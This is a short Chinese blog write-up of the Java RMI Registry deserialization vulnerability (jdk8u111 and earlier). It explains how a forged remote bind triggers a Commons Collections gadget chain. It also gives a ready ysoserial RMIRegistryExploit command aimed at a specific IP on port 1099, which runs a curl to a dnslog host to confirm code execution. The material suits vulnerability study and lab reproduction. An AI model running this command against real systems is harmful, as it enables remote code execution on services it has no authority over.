Java RMI Registry 反序列化漏洞(<=jdk8u111)

文章讨论了JavaRMI(远程方法调用)中的一个安全问题,特别是关于远程bind功能的潜在风险。攻击者可以利用CommonsCollections3.2.1版本中的漏洞,通过伪造序列化数据来触发利用链。复现场景描述了如何使用ysoserial工具的RMIRegistryExploit来攻击运行在1099端口的RMIRegistry,导致执行恶意代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原因

Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1).

复现

环境启动后,RMI Registry监听在1099端口。

通过ysoserial的exploit包中的RMIRegistryExploit进行攻击

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 101.43.191.94 1099 CommonsCollections6 "curl http://lhc.yy7yip.dnslog.cn"

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值